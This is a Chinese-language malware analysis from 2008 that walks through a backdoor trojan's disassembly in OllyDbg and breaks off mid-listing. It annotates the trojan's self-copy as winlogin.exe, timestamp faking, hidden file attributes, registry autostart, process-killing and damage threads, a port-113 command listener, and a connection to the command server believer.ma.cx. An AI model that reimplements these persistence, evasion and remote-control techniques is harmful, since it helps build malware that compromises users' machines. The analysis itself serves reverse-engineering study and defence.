【文章标题】分析某一后门类木马
【文章作者】ximo[LCG]
【文章目标】某一后门类木马
【相关工具】ollydbg
【作者 Q Q】178911980
【作者邮箱】178911980@163.com
【作者主页】http://www.54soft.com.cn
【文章日期】2008 年 12 月 3 日

木马的总体流程：

```
0040DB23   /   55                    push ebp
0040DB24   |.  8BEC                  mov ebp,esp
0040DB26   |.  81EC 8C090000        sub esp,98C
0040DB2C   |.  53                    push ebx
0040DB2D   |.  33DB                  xor ebx,ebx
0040DB2F   |.  56                    push esi
0040DB30   |.  57                    push edi
0040DB31   |.  895D FC               mov dword ptr ss:[ebp-4],ebx
0040DB34   |.  895D F0               mov dword ptr ss:[ebp-10],ebx
0040DB37   |.  C745 F4 89C64000      mov dword ptr ss:[ebp-C],3.0040C689
0040DB3E   |.  FF75 F4               push dword ptr ss:[ebp-C]
0040DB41   |.  64:FF35 00000000      push dword ptr fs:[0]
0040DB48   |.  64:8925 00000000      mov dword ptr fs:[0],esp
0040DB4F   |.  391D C0D44200         cmp dword ptr ds:[42D4C0],ebx
0040DB55   |.  74 05                 je short 3.0040DB5C
0040DB57   |.  E8 B2C4FFFF           call 3.0040A00E                          ; 创建批处理 a.bat
0040DB5C   |>  8B35 50104200         mov esi,dword ptr ds:[<&KERNEL32.GetTickCount>]  ; kernel32.GetTickCount
0040DB62   |.  FFD6                  call esi                                 ; GetTickCount
0040DB64   |.  33D2                  xor edx,edx
0040DB66   |.  B9 E8030000           mov ecx,3E8
0040DB6B   |.  F7F1                  div ecx
0040DB6D   |.  A3 609B5100           mov dword ptr ds:[519B60],eax
0040DB72   |.  FFD6                  call esi                                 ; GetTickCount
0040DB74   |.  50                    push eax
0040DB75   |.  E8 1D930000           call 3.00416E97
0040DB7A   |.  59                    pop ecx
0040DB7B   |.  E8 E3AEFFFF           call 3.00408A63                          ;  动态获取 API 函数
0040DB80   |.  6A 02                 push 2
0040DB82   |.  FF15 045B4400         call dword ptr ds:[445B04]               ;  kernel32.SetErrorMode
0040DB88   |.  68 30750000           push 7530                                ; /Timeout = 30000. ms
0040DB8D   |.  68 C4D44200           push 3.0042D4C4                          ; |/MutexName = "Lindi"
0040DB92   |.  53                    push ebx                                 ; ||InitialOwner
0040DB93   |.  53                    push ebx                                 ; ||pSecurity
0040DB94   |.  FF15 54114200         call dword ptr ds:[<&KERNEL32.CreateMutexA>]  ; |\CreateMutexA
0040DB9A   |.  50                    push eax                                 ; |建立 lindi 互斥体
0040DB9B   |.  FF15 50114200         call dword ptr ds:[<&KERNEL32.WaitForSingleObject>]  ; \等上30秒
0040DBA1   |.  3D 02010000           cmp eax,102
0040DBA6   |.  75 08                 jnz short 3.0040DBB0                     ;  检查是否存在，存在则
结束进程
0040DBA8   |.  6A 01                 push 1                                   ; /ExitCode = 1
0040DBAA   |.  FF15 34114200         call dword ptr ds:[<&KERNEL32.ExitProcess>]  ; \ExitProcess
```

```
0040DBB0   |>  8D85 78F7FFFF      lea eax,dword ptr ss:[ebp-888]
0040DBB6   |.  50                 push eax
0040DBB7   |.  68 02020000        push 202
0040DBBC   |.  FF15 D0594400      call dword ptr ds:[4459D0]                    ;  ws2_32.WSAStartup
0040DBC2   |.  3BC3               cmp eax,ebx
0040DBC4   |.  8945 F4            mov dword ptr ss:[ebp-C],eax
0040DBC7   |.  0F85 1F060000      jnz 3.0040E1EC
0040DBCD   |.  80BD 78F7FFFF 02   cmp byte ptr ss:[ebp-888],2
0040DBD4   |.  0F85 0C060000      jnz 3.0040E1E6
0040DBDA   |.  33C0               xor eax,eax
0040DBDC   |.  8A85 79F7FFFF      mov al,byte ptr ss:[ebp-887]
0040DBE2   |.  3C 02              cmp al,2
0040DBE4   |.  0F85 FC050000      jnz 3.0040E1E6
0040DBEA   |.  BE 04010000        mov esi,104
0040DBEF   |.  8D85 0CFCFFFF      lea eax,dword ptr ss:[ebp-3F4]
0040DBF5   |.  56                 push esi                                      ; /BufSize => 104 (260.)
0040DBF6   |.  50                 push eax                                      ; |Buffer
0040DBF7   |.  FF15 60104200      call dword ptr ds:[<&KERNEL32.GetSystemDirectoryA>]  ; \GetSystemDirectoryA
0040DBFD   |.  8D85 10FDFFFF      lea eax,dword ptr ss:[ebp-2F0]
0040DC03   |.  56                 push esi                                      ; /BufSize => 104 (260.)
0040DC04   |.  50                 push eax                                      ; |PathBuffer
0040DC05   |.  53                 push ebx                                      ; |/pModule
0040DC06   |.  FF15 E8104200      call dword ptr ds:[<&KERNEL32.GetModuleHandleA>]     ; |\GetModuleHandleA
0040DC0C   |.  50                 push eax                                      ; |hModule
0040DC0D   |.  FF15 74104200      call dword ptr ds:[<&KERNEL32.GetModuleFileNameA>]   ; \GetModuleFileNameA
0040DC13   |.  8D85 08F9FFFF      lea eax,dword ptr ss:[ebp-6F8]
0040DC19   |.  50                 push eax
0040DC1A   |.  8D85 08FAFFFF      lea eax,dword ptr ss:[ebp-5F8]
0040DC20   |.  50                 push eax
0040DC21   |.  53                 push ebx
0040DC22   |.  8D85 10FDFFFF      lea eax,dword ptr ss:[ebp-2F0]
0040DC28   |.  53                 push ebx
0040DC29   |.  50                 push eax
0040DC2A   |.  E8 19A80000        call 3.00418448
0040DC2F   |.  8D85 08F9FFFF      lea eax,dword ptr ss:[ebp-6F8]
0040DC35   |.  50                 push eax
0040DC36   |.  8D85 08FAFFFF      lea eax,dword ptr ss:[ebp-5F8]
0040DC3C   |.  50                 push eax
0040DC3D   |.  68 046D4200        push 3.00426D04                               ;  ASCII "%s%s"
0040DC42   |.  8D85 08FBFFFF      lea eax,dword ptr ss:[ebp-4F8]
0040DC48   |.  56                 push esi
0040DC49   |.  50                 push eax
0040DC4A   |.  E8 6B970000        call 3.004173BA                               ;  取得系统路径
0040DC4F   |.  8D85 0CFCFFFF      lea eax,dword ptr ss:[ebp-3F4]
0040DC55   |.  50                 push eax
0040DC56   |.  8D85 10FDFFFF      lea eax,dword ptr ss:[ebp-2F0]
0040DC5C   |.  50                 push eax
0040DC5D   |.  E8 AE970000        call 3.00417410
0040DC62   |.  83C4 30            add esp,30
0040DC65   |.  85C0               test eax,eax
0040DC67   |.  0F85 B8010000      jnz 3.0040DE25
0040DC6D   |.  391D D09C5100      cmp dword ptr ds:[519CD0],ebx
```

```
0040DC73   |.  BE 08D54200          mov esi,3.0042D508                          ;  ASCII "winlogin.exe"
0040DC78   |.  74 31                je short 3.0040DCAB
0040DC7A   |.  56                   push esi
0040DC7B   |.  33FF                 xor edi,edi
0040DC7D   |.  E8 BE990000          call 3.00417640
0040DC82   |.  83E8 04              sub eax,4
0040DC85   |.  59                   pop ecx
0040DC86   |.  74 23                je short 3.0040DCAB
0040DC88   |>  E8 14920000          /call 3.00416EA1
0040DC8D   |.  6A 1A                |push 1A
0040DC8F   |.  99                   |cdq
0040DC90   |.  59                   |pop ecx
0040DC91   |.  F7F9                 |idiv ecx
0040DC93   |.  56                   |push esi
0040DC94   |.  80C2 61              |add dl,61
0040DC97   |.  8897 08D54200        |mov byte ptr ds:[edi+42D508],dl
0040DC9D   |.  47                   |inc edi
0040DC9E   |.  E8 9D990000          |call 3.00417640
0040DCA3   |.  83E8 04              |sub eax,4
0040DCA6   |.  59                   |pop ecx
0040DCA7   |.  3BF8                 |cmp edi,eax
0040DCA9   |.^ 72 DD                \jb short 3.0040DC88
0040DCAB   |>  8D85 0CFCFFFF        lea eax,dword ptr ss:[ebp-3F4]
0040DCB1   |.  56                   push esi
0040DCB2   |.  50                   push eax
0040DCB3   |.  8D85 14FEFFFF        lea eax,dword ptr ss:[ebp-1EC]
0040DCB9   |.  68 AC914200          push 3.004291AC                             ;  ASCII "%s\%s"
0040DCBE   |.  50                   push eax
0040DCBF   |.  E8 81910000          call 3.00416E45
0040DCC4   |.  83C4 10              add esp,10
0040DCC7   |.  8D85 14FEFFFF        lea eax,dword ptr ss:[ebp-1EC]
0040DCCD   |.  50                   push eax                                    ; /FileName
0040DCCE   |.  FF15 8C104200        call dword ptr ds:[<&KERNEL32.GetFileAttributesA>]  ; \GetFileAttributesA
0040DCD4   |.  83F8 FF              cmp eax,-1
0040DCD7   |.  74 12                je short 3.0040DCEB
0040DCD9   |.  8D85 14FEFFFF        lea eax,dword ptr ss:[ebp-1EC]
0040DCDF   |.  68 80000000          push 80                                     ; /FileAttributes =
NORMAL
0040DCE4   |.  50                   push eax                                    ; |FileName
0040DCE5   |.  FF15 10114200        call dword ptr ds:[<&KERNEL32.SetFileAttributesA>]  ; \SetFileAttributesA
0040DCEB   |>  8B35 4C114200        mov esi,dword ptr ds:[<&KERNEL32.CopyFileA>]    ;  kernel32.CopyFileA
0040DCF1   |.  8D85 14FEFFFF        lea eax,dword ptr ss:[ebp-1EC]                  ;  把病毒复制到
C:\WINDOWS\system32\winlogin.exe 目录下
0040DCF7   |.  53                   push ebx
0040DCF8   |.  50                   push eax
0040DCF9   |.  8D85 10FDFFFF        lea eax,dword ptr ss:[ebp-2F0]
0040DCFF   |.  33FF                 xor edi,edi
0040DD01   |.  50                   push eax
0040DD02   |>  FFD6                 /call esi
0040DD04   |.  85C0                 |test eax,eax
0040DD06   |.  75 33                |jnz short 3.0040DD3B
0040DD08   |.  FF15 80104200        |call dword ptr ds:[<&KERNEL32.GetLastError>]  ; GetLastError
```

```
0040DD0E   |.   3BFB                  |cmp edi,ebx
0040DD10   |.   75 29                 |jnz short 3.0040DD3B
0040DD12   |.   83F8 20               |cmp eax,20
0040DD15   |.   74 05                 |je short 3.0040DD1C
0040DD17   |.   83F8 05               |cmp eax,5
0040DD1A   |.   75 1F                 |jnz short 3.0040DD3B
0040DD1C   |>   6A 01                 |push 1
0040DD1E   |.   5F                    |pop edi
0040DD1F   |.   68 983A0000           |push 3A98                                    ; /Timeout = 15000. ms
0040DD24   |.   FF15 5C104200         |call dword ptr ds:[<&KERNEL32.Sleep>]        ; \Sleep
0040DD2A   |.   8D85 14FEFFFF         |lea eax,dword ptr ss:[ebp-1EC]               ;等待15秒
0040DD30   |.   53                    |push ebx
0040DD31   |.   50                    |push eax
0040DD32   |.   8D85 10FDFFFF         |lea eax,dword ptr ss:[ebp-2F0]
0040DD38   |.   50                    |push eax
0040DD39   |.^ EB C7                  \jmp short 3.0040DD02
0040DD3B   |>   8D85 14FEFFFF           lea eax,dword ptr ss:[ebp-1EC]
0040DD41   |.   50                    push eax
0040DD42   |.   E8 79C0FFFF           call 3.00409DC0                             ; 取 explorer.exe 的时间，
并使 winlogin.exe 时间与之相同
0040DD47   |.   59                    pop ecx
0040DD48   |.   8D85 14FEFFFF         lea eax,dword ptr ss:[ebp-1EC]
0040DD4E   |.   6A 07                   push 7                                    ; /FileAttributes =
READONLY|HIDDEN|SYSTEM
0040DD50   |.   50                    push eax                                    ; |FileName
0040DD51   |.   FF15 10114200         call dword ptr ds:[<&KERNEL32.SetFileAttributesA>]  ; \SetFileAttributesA
0040DD57   |.   6A 10                 push 10                                     ; 修改 winlogin.exe 属
性，设置为只读,隐藏,系统属性
0040DD59   |.   8D45 DC               lea eax,dword ptr ss:[ebp-24]
0040DD5C   |.   53                    push ebx
0040DD5D   |.   50                    push eax
0040DD5E   |.   E8 5D910000           call 3.00416EC0
0040DD63   |.   6A 44                 push 44
0040DD65   |.   8D85 18FFFFFF         lea eax,dword ptr ss:[ebp-E8]
0040DD6B   |.   5E                    pop esi
0040DD6C   |.   56                    push esi
0040DD6D   |.   53                    push ebx
0040DD6E   |.   50                    push eax
0040DD6F   |.   E8 4C910000           call 3.00416EC0
0040DD74   |.   83C4 18               add esp,18
0040DD77   |.   89B5 18FFFFFF         mov dword ptr ss:[ebp-E8],esi
0040DD7D   |.   C785 24FFFFFF E80C>mov dword ptr ss:[ebp-DC],3.00440CE8
0040DD87   |.   66:899D 48FFFFFF      mov word ptr ss:[ebp-B8],bx
0040DD8E   |.   6A 01                 push 1
0040DD90   |.   5E                    pop esi
0040DD91   |.   89B5 44FFFFFF         mov dword ptr ss:[ebp-BC],esi
0040DD97   |.   FF15 48114200         call dword ptr ds:[<&KERNEL32.GetCurrentProcessId>]  ; [GetCurrentProcessId
0040DD9D   |.   50                    push eax                                    ; /ProcessId
0040DD9E   |.   56                    push esi                                    ; |Inheritable => TRUE
0040DD9F   |.   68 00001000             push 100000                                 ; |Access =
SYNCHRONIZE
0040DDA4   |.   FF15 E4104200         call dword ptr ds:[<&KERNEL32.OpenProcess>]  ; \OpenProcess
```

```
0040DDAA   |.   8D8D 10FDFFFF        lea ecx,dword ptr ss:[ebp-2F0]                    ;   打开进程
0040DDB0   |.   51                   push ecx
0040DDB1   |.   50                   push eax
0040DDB2   |.   8D85 14FEFFFF        lea eax,dword ptr ss:[ebp-1EC]
0040DDB8   |.   50                   push eax
0040DDB9   |.   8D85 74F6FFFF        lea eax,dword ptr ss:[ebp-98C]                  ;   一串乱码
0040DDBF   |.   68 44324300          push 3.00433244                                   ;   ASCII "%s %d "%s""
0040DDC4   |.   50                   push eax                                          ;   还是乱码
0040DDC5   |.   E8 7B900000          call 3.00416E45
0040DDCA   |.   83C4 14              add esp,14
0040DDCD   |.   8D45 DC              lea eax,dword ptr ss:[ebp-24]
0040DDD0   |.   50                   push eax                                          ; /pProcessInfo
0040DDD1   |.   8D85 18FFFFFF        lea eax,dword ptr ss:[ebp-E8]                   ; |
0040DDD7   |.   50                   push eax                                          ; |pStartupInfo
0040DDD8   |.   8D85 0CFCFFFF        lea eax,dword ptr ss:[ebp-3F4]                  ; |
0040DDDE   |.   50                   push eax                                          ; |CurrentDir
0040DDDF   |.   53                   push ebx                                          ; |pEnvironment
0040DDE0   |.   6A 28                push 28                                                 ; |CreationFlags =
DETACHED_PROCESS|NORMAL_PRIORITY_CLASS
0040DDE2   |.   56                   push esi                                                ; |InheritHandles =>
TRUE
0040DDE3   |.   53                   push ebx                                          ; |pThreadSecurity
0040DDE4   |.   8D85 74F6FFFF        lea eax,dword ptr ss:[ebp-98C]                  ; |
0040DDEA   |.   53                   push ebx                                          ; |pProcessSecurity
0040DDEB   |.   50                   push eax                                          ; |CommandLine
0040DDEC   |.   8D85 14FEFFFF        lea eax,dword ptr ss:[ebp-1EC]                  ; |
0040DDF2   |.   50                   push eax                                          ; |ModuleFileName
0040DDF3   |.   FF15 08114200        call dword ptr ds:[<&KERNEL32.CreateProcessA>]   ; \CreateProcessA
0040DDF9   |.   85C0                 test eax,eax                                      ;   创建 winlogin.exe 文件
进程
0040DDFB   |.   74 28                je short 3.0040DE25
0040DDFD   |.   68 C8000000          push 0C8                                          ; /Timeout = 200. ms
0040DE02   |.   FF15 5C104200        call dword ptr ds:[<&KERNEL32.Sleep>]           ; \Sleep
0040DE08   |.   FF75 DC              push dword ptr ss:[ebp-24]                      ; /hObject
0040DE0B   |.   8B35 6C104200        mov esi,dword ptr ds:[<&KERNEL32.CloseHandle>]    ; |kernel32.CloseHandle
0040DE11   |.   FFD6                 call esi                                          ; \CloseHandle
0040DE13   |.   FF75 E0              push dword ptr ss:[ebp-20]                      ; /hObject
0040DE16   |.   FFD6                 call esi                                          ; \CloseHandle
0040DE18   |.   FF15 B8594400        call dword ptr ds:[4459B8]                      ;   ws2_32.WSACleanup
0040DE1E   |.   53                   push ebx                                          ; /ExitCode
0040DE1F   |.   FF15 34114200        call dword ptr ds:[<&KERNEL32.ExitProcess>]      ; \退出当前进程
0040DE25   |>   833D 489F5100 02     cmp dword ptr ds:[519F48],2
0040DE2C   |.   7E 43                jle short 3.0040DE71
0040DE2E   |.   A1 4C9F5100          mov eax,dword ptr ds:[519F4C]
0040DE33   |.   FF70 04              push dword ptr ds:[eax+4]
0040DE36   |.   E8 74950000          call 3.004173AF
0040DE3B   |.   59                   pop ecx
0040DE3C   |.   8BF0                 mov esi,eax
0040DE3E   |.   6A FF                push -1                                           ; /Timeout = INFINITE
0040DE40   |.   56                   push esi                                          ; |hObject
0040DE41   |.   FF15 50114200        call dword ptr  ds:[<&KERNEL32.WaitForSingleObject>]   ; \WaitForSingleObject
0040DE47   |.   56                   push esi                                          ; /hObject
```

```
0040DE48   |.  FF15 6C104200        call dword ptr ds:[<&KERNEL32.CloseHandle>]              ; \CloseHandle
0040DE4E   |.  A1 4C9F5100          mov eax,dword ptr ds:[519F4C]
0040DE53   |.  3958 08              cmp dword ptr ds:[eax+8],ebx
0040DE56   |.  74 19                je short 3.0040DE71
0040DE58   |.  68 D0070000          push 7D0                                                 ; /Timeout = 2000. ms
0040DE5D   |.  FF15 5C104200        call dword ptr ds:[<&KERNEL32.Sleep>]                    ; \Sleep
0040DE63   |.  A1 4C9F5100          mov eax,dword ptr ds:[519F4C]
0040DE68   |.  FF70 08              push dword ptr ds:[eax+8]                                ; /FileName
0040DE6B   |.  FF15 44114200        call dword ptr ds:[<&KERNEL32.DeleteFileA>]              ; \DeleteFileA
0040DE71   |>  391D 2CD44200        cmp dword ptr ds:[42D42C],ebx
0040DE77   |.  74 15                je short 3.0040DE8E
0040DE79   |.  391D 285B4400        cmp dword ptr ds:[445B28],ebx
0040DE7F   |.  75 0D                jnz short 3.0040DE8E
0040DE81   |.  8D85 08FBFFFF        lea eax,dword ptr ss:[ebp-4F8]
0040DE87   |.  50                   push eax
0040DE88   |.  E8 F8D5FFFF          call 3.0040B485                                          ;创建三个注册表项，以实
现木马的自启动
0040DE8D   |.  59                   pop ecx
0040DE8E   |>  8D85 5CFFFFFF        lea eax,dword ptr ss:[ebp-A4]
0040DE94   |.  68 1C324300          push 3.0043321C
0040DE99   |.  50                   push eax
0040DE9A   |.  E8 A68F0000          call 3.00416E45
0040DE9F   |.  53                   push ebx
0040DEA0   |.  8D85 5CFFFFFF        lea eax,dword ptr ss:[ebp-A4]
0040DEA6   |.  53                   push ebx
0040DEA7   |.  50                   push eax
0040DEA8   |.  E8 448A0000          call 3.004168F1
0040DEAD   |.  8D85 5CFFFFFF        lea eax,dword ptr ss:[ebp-A4]
0040DEB3   |.  50                   push eax
0040DEB4   |.  E8 BDD3FFFF          call 3.0040B276                                          ;  取当前系统时间
0040DEB9   |.  68 800B0000          push 0B80
0040DEBE   |.  53                   push ebx
0040DEBF   |.  68 30A74400          push 3.0044A730
0040DEC4   |.  E8 F78F0000          call 3.00416EC0
0040DEC9   |.  8D85 5CFFFFFF        lea eax,dword ptr ss:[ebp-A4]
0040DECF   |.  68 E0314300          push 3.004331E0
0040DED4   |.  50                   push eax
0040DED5   |.  E8 6B8F0000          call 3.00416E45
0040DEDA   |.  53                   push ebx
0040DEDB   |.  8D85 5CFFFFFF        lea eax,dword ptr ss:[ebp-A4]
0040DEE1   |.  6A 01                push 1
0040DEE3   |.  50                   push eax
0040DEE4   |.  E8 088A0000          call 3.004168F1
0040DEE9   |.  83C4 38              add esp,38
0040DEEC   |.  8BF8                 mov edi,eax
0040DEEE   |.  8B35 84104200        mov esi,dword ptr ds:[<&KERNEL32.CreateThread>]          ; kernel32.CreateThread
0040DEF4   |.  8D45 FC              lea eax,dword ptr ss:[ebp-4]
0040DEF7   |.  50                   push eax                                                 ; /pThreadId
0040DEF8   |.  53                   push ebx                                                 ; |CreationFlags
0040DEF9   |.  53                   push ebx                                                 ; |pThreadParm
0040DEFA   |.  68 26494100          push 3.00414926                                          ; |ThreadFunction =
3.00414926
```

```
0040DEFF   |.  53                 push ebx                                 ; |StackSize
0040DF00   |.  53                 push ebx                                 ; |pSecurity
0040DF01   |.  FFD6               call esi                                 ; \创建线程，使每30秒查
找目标的进程，查到则结束之
0040DF03   |.  69FF 34020000      imul edi,edi,234
0040DF09   |.  3BC3               cmp eax,ebx
0040DF0B   |.  8987 C4B44400      mov dword ptr ds:[edi+44B4C4],eax
0040DF11   |.  75 1B              jnz short 3.0040DF2E
0040DF13   |.  FF15 80104200      call dword ptr ds:[<&KERNEL32.GetLastError>]      ; GetLastError
0040DF19   |.  50                 push eax
0040DF1A   |.  8D85 5CFFFFFF      lea eax,dword ptr ss:[ebp-A4]
0040DF20   |.  68 8C314300        push 3.0043318C
0040DF25   |.  50                 push eax
0040DF26   |.  E8 1A8F0000        call 3.00416E45
0040DF2B   |.  83C4 0C            add esp,0C
0040DF2E   |>  8D85 5CFFFFFF      lea eax,dword ptr ss:[ebp-A4]
0040DF34   |.  50                 push eax
0040DF35   |.  E8 3CD3FFFF        call 3.0040B276                          ;  取当前系统时间
0040DF3A   |.  8D85 5CFFFFFF      lea eax,dword ptr ss:[ebp-A4]
0040DF40   |.  C70424 48314300    mov dword ptr ss:[esp],3.00433148
0040DF47   |.  50                 push eax
0040DF48   |.  E8 F88E0000        call 3.00416E45
0040DF4D   |.  53                 push ebx
0040DF4E   |.  8D85 5CFFFFFF      lea eax,dword ptr ss:[ebp-A4]
0040DF54   |.  6A 01              push 1
0040DF56   |.  50                 push eax
0040DF57   |.  E8 95890000        call 3.004168F1
0040DF5C   |.  83C4 14            add esp,14
0040DF5F   |.  8BF8               mov edi,eax
0040DF61   |.  8D45 FC            lea eax,dword ptr ss:[ebp-4]
0040DF64   |.  50                 push eax
0040DF65   |.  53                 push ebx
0040DF66   |.  53                 push ebx
0040DF67   |.  68 35664100        push 3.00416635
0040DF6C   |.  53                 push ebx
0040DF6D   |.  53                 push ebx
0040DF6E   |.  FFD6               call esi                                 ;创建线程，使实现一些破
坏活动，具体见下
0040DF70   |.  69FF 34020000      imul edi,edi,234
0040DF76   |.  3BC3               cmp eax,ebx
0040DF78   |.  8987 C4B44400      mov dword ptr ds:[edi+44B4C4],eax
0040DF7E   |.  75 1B              jnz short 3.0040DF9B
0040DF80   |.  FF15 80104200      call dword ptr ds:[<&KERNEL32.GetLastError>]      ;GetLastError
0040DF86   |.  50                 push eax
0040DF87   |.  8D85 5CFFFFFF      lea eax,dword ptr ss:[ebp-A4]
0040DF8D   |.  68 FC304300        push 3.004330FC
0040DF92   |.  50                 push eax
0040DF93   |.  E8 AD8E0000        call 3.00416E45
0040DF98   |.  83C4 0C            add esp,0C
0040DF9B   |>  8D85 5CFFFFFF      lea eax,dword ptr ss:[ebp-A4]
0040DFA1   |.  50                 push eax
0040DFA2   |.  E8 CFD2FFFF        call 3.0040B276
```

```
0040DFA7   |.   8D85 5CFFFFFF          lea eax,dword ptr ss:[ebp-A4]
0040DFAD   |.   C70424 BC304300        mov dword ptr ss:[esp],3.004330BC
0040DFB4   |.   50                     push eax
0040DFB5   |.   E8 8B8E0000           call 3.00416E45
0040DFBA   |.   53                     push ebx
0040DFBB   |.   8D85 5CFFFFFF          lea eax,dword ptr ss:[ebp-A4]
0040DFC1   |.   6A 01                  push 1
0040DFC3   |.   50                     push eax
0040DFC4   |.   E8 28890000           call 3.004168F1
0040DFC9   |.   83C4 14               add esp,14
0040DFCC   |.   8BF8                   mov edi,eax
0040DFCE   |.   8D45 FC                lea eax,dword ptr ss:[ebp-4]
0040DFD1   |.   50                     push eax
0040DFD2   |.   8D85 08FBFFFF          lea eax,dword ptr ss:[ebp-4F8]
0040DFD8   |.   53                     push ebx
0040DFD9   |.   50                     push eax
0040DFDA   |.   68 F5B44000            push 3.0040B4F5
0040DFDF   |.   53                     push ebx
0040DFE0   |.   53                     push ebx
0040DFE1   |.   FFD6                   call esi                                          ;创建实现自启动的线程

0040DFE3   |.   69FF 34020000          imul edi,edi,234
0040DFE9   |.   3BC3                   cmp eax,ebx
0040DFEB   |.   8987 C4B44400          mov dword ptr ds:[edi+44B4C4],eax
0040DFF1   |.   75 1B                  jnz short 3.0040E00E
0040DFF3   |.   FF15 80104200          call dword ptr ds:[<&KERNEL32.GetLastError>]       ;GetLastError
0040DFF9   |.   50                     push eax
0040DFFA   |.   8D85 5CFFFFFF          lea eax,dword ptr ss:[ebp-A4]
0040E000   |.   68 70304300            push 3.00433070
0040E005   |.   50                     push eax
0040E006   |.   E8 3A8E0000           call 3.00416E45
0040E00B   |.   83C4 0C               add esp,0C
0040E00E   |>   8D85 5CFFFFFF          lea eax,dword ptr ss:[ebp-A4]
0040E014   |.   50                     push eax
0040E015   |.   E8 5CD2FFFF           call 3.0040B276
0040E01A   |.   6A 02                  push 2
0040E01C   |.   E8 188B0000           call 3.00416B39
0040E021   |.   59                     pop ecx
0040E022   |.   85C0                   test eax,eax
0040E024   |.   59                     pop ecx
0040E025   |.   75 6C                  jnz short 3.0040E093
0040E027   |.   8D85 5CFFFFFF          lea eax,dword ptr ss:[ebp-A4]
0040E02D   |.   68 2C304300            push 3.0043302C
0040E032   |.   50                     push eax
0040E033   |.   E8 0D8E0000           call 3.00416E45
0040E038   |.   53                     push ebx
0040E039   |.   8D85 5CFFFFFF          lea eax,dword ptr ss:[ebp-A4]
0040E03F   |.   6A 02                  push 2
0040E041   |.   50                     push eax
0040E042   |.   E8 AA880000           call 3.004168F1
0040E047   |.   83C4 14               add esp,14
0040E04A   |.   8BF8                   mov edi,eax
```

```
0040E04C   |.  8D45 FC               lea eax,dword ptr ss:[ebp-4]
0040E04F   |.  50                    push eax
0040E050   |.  53                    push ebx
0040E051   |.  57                    push edi
0040E052   |.  68 17C94000           push 3.0040C917
0040E057   |.  53                    push ebx
0040E058   |.  53                    push ebx
0040E059   |.  FFD6                  call esi                                        ; 创建监听113端口,并接
受远程服务器发送来的命令的线程
0040E05B   |.  69FF 34020000         imul edi,edi,234
0040E061   |.  3BC3                  cmp eax,ebx
0040E063   |.  8987 C4B44400         mov dword ptr ds:[edi+44B4C4],eax
0040E069   |.  75 1B                 jnz short 3.0040E086
0040E06B   |.  FF15 80104200         call dword ptr ds:[<&KERNEL32.GetLastError>]     ; GetLastError
0040E071   |.  50                    push eax
0040E072   |.  8D85 5CFFFFFF         lea eax,dword ptr ss:[ebp-A4]
0040E078   |.  68 E82F4300           push 3.00432FE8
0040E07D   |.  50                    push eax
0040E07E   |.  E8 C28D0000           call 3.00416E45
0040E083   |.  83C4 0C               add esp,0C
0040E086   |>  8D85 5CFFFFFF         lea eax,dword ptr ss:[ebp-A4]
0040E08C   |.  50                    push eax
0040E08D   |.  E8 E4D1FFFF           call 3.0040B276
0040E092   |.  59                    pop ecx
0040E093   |>  E8 098E0000           call 3.00416EA1
0040E098   |.  6A 7F                 push 7F
0040E09A   |.  68 F0D44200           push 3.0042D4F0                                 ; ASCII
"believer.ma.cx"
0040E09F   |.  68 6C9B5100           push 3.00519B6C                                 ; ASCII
"believer.ma.cx"
0040E0A4   |.  891D EC9C5100         mov dword ptr ds:[519CEC],ebx
0040E0AA   |.  E8 F19C0000           call 3.00417DA0
0040E0AF   |.  A1 10D44200           mov eax,dword ptr ds:[42D410]
0040E0B4   |.  6A 3F                 push 3F
0040E0B6   |.  BF EC9B5100           mov edi,3.00519BEC                              ; ASCII "#591"
0040E0BB   |.  68 00D54200           push 3.0042D500                                 ; ASCII "#591"
0040E0C0   |.  57                    push edi
0040E0C1   |.  A3 BC9C5100           mov dword ptr ds:[519CBC],eax
0040E0C6   |.  E8 D59C0000           call 3.00417DA0
0040E0CB   |.  6A 3F                 push 3F
0040E0CD   |.  BE 2C9C5100           mov esi,3.00519C2C
0040E0D2   |.  68 D89C5100           push 3.00519CD8
0040E0D7   |.  56                    push esi
0040E0D8   |.  E8 C39C0000           call 3.00417DA0
0040E0DD   |.  83C4 24               add esp,24
0040E0E0   |.  891D C09C5100         mov dword ptr ds:[519CC0],ebx
0040E0E6   |>  895D F8               /mov dword ptr ss:[ebp-8],ebx
0040E0E9   |>  391D 405B4400         |/cmp dword ptr ds:[445B40],ebx
0040E0EF   |.  75 16                 ||jnz short 3.0040E107
0040E0F1   |.  8D45 EC               ||lea eax,dword ptr ss:[ebp-14]
0040E0F4   |.  53                    ||push ebx
0040E0F5   |.  50                    ||push eax
```

```
0040E0F6    |.    FF15    9C594400    ||call    dword    ptr
ds:[44599C]                ;wininet.InternetGetConnectedState
0040E0FC    |.    85C0    ||test eax,eax
0040E0FE    |.    75 07    ||jnz short 3.0040E107
0040E100    |.    68 30750000    ||push 7530
0040E105    |.    EB 2C    ||jmp short 3.0040E133
0040E107    |>    68 689B5100    ||push 3.00519B68
0040E10C    |.    891D E89C5100    ||mov dword ptr ds:[519CE8],ebx
0040E112    |.    E8 DE000000    ||call 3.0040E1F5    ; 连接 believer.ma.cx 远程
服务器
0040E117    |.    83F8 02    ||cmp eax,2    ;
0040E11A    |.    8945 F4    ||mov dword ptr ss:[ebp-C],eax
0040E11D    |.    0F84 BE000000    ||je 3.0040E1E1
0040E123    |.    391D E89C5100    ||cmp dword ptr ds:[519CE8],ebx
0040E129    |.    74 03    ||je short 3.0040E12E
0040E12B    |.    FF4D F8    ||dec dword ptr ss:[ebp-8]
0040E12E    |>    68 B80B0000    ||push 0BB8    ; /Timeout = 3000. ms
0040E133    |>    FF15 5C104200    ||call dword ptr ds:[<&KERNEL32.Sleep>]    ; \Sleep
0040E139    |.    FF45 F8    ||inc dword ptr ss:[ebp-8]
0040E13C    |.    837D F8 06    ||cmp dword ptr ss:[ebp-8],6
0040E140    |.^ 7C A7    |\jl short 3.0040E0E9
0040E142    |.    837D F4 02    |cmp dword ptr ss:[ebp-C],2
0040E146    |.    0F84 95000000    |je 3.0040E1E1
0040E14C    |.    395D F0    |cmp dword ptr ss:[ebp-10],ebx
0040E14F    |.    74 40    |je short 3.0040E191
0040E151    |.    6A 7F    |push 7F
0040E153    |.    68 F0D44200    |push 3.0042D4F0    ;    ASCII "believer.ma.cx"
0040E158    |.    68 6C9B5100    |push 3.00519B6C    ;    ASCII "believer.ma.cx"
0040E15D    |.    E8 3E9C0000    |call 3.00417DA0
0040E162    |.    A1 10D44200    |mov eax,dword ptr ds:[42D410]
0040E167    |.    6A 3F    |push 3F
0040E169    |.    68 00D54200    |push 3.0042D500    ;    ASCII "#591"
0040E16E    |.    57    |push edi
0040E16F    |.    A3 BC9C5100    |mov dword ptr ds:[519CBC],eax
